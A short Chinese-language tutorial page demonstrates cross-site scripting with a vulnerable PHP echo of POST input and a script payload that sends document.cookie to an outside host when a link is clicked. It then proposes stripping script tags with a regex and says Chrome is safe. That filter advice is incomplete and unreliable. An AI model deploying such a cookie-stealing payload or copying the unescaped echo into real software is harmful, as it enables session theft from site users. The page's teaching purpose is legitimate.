<!DOCTYPE HTML PUBLIC "-//W3C//DTDHTML 4.01 Transitional//EN""http://www.w3.org/TR/html4/loose.dtd"> <html> <head> <title> New Document </title> <meta http-equiv="Content-Type" content="text/html;charset=utf-8" /> </head> www.2cto.com <body> <form action="xss.php" name="xss_form"id="xss_form" method="post"> <textarea cols="20" rows="10" name="tt"id="tt"></textarea> <input type="submit" name="submit" value="提交"> </form> </body> </html>
在文本框里面输入如下内容
<script>
function test() {
var img = new Image();
img.src="http://www.caihuadadao.com?cookie="+encodeURIComponent(document.cookie);
}
</script>
<a href="http://www.2cto.com" onclick="test();">点一下你就完了</a>
xss.php里面只要一行代码
echo $_POST['tt'];
ie8中用httpwatch(http://www.2cto.com/soft/201109/29656.html)可以看到,点击[点一下你就完了]时就可以看到发送了一个不善意的http请求。
试想一个场景:如果攻击者在某个网站的发布了一个帖子,内容就是上面的,那么无辜的用户只要点击了[点一下你就完了]这个链接,就会自动发送个人信息给攻击者。
问题的解决是比较简单的,过滤掉script标签以及标签里面的内容即可,靠谱点的系统应该是客户端和服务端都去掉script标签:
$str = preg_replace('/<script[^>]*?>.*?<\/script>/i', '', $str);
在chrome 浏览器 中,当点击[点一下你就完了]时,不会发送攻击者想要的http请求,也就是说不会执行攻击者提交的javascript代码,这也充分证明了chrome浏览器是比较安全的。
查看更多关于xss(跨站脚本攻击)简单示例 - 网站安全 - 自学ph的详细内容...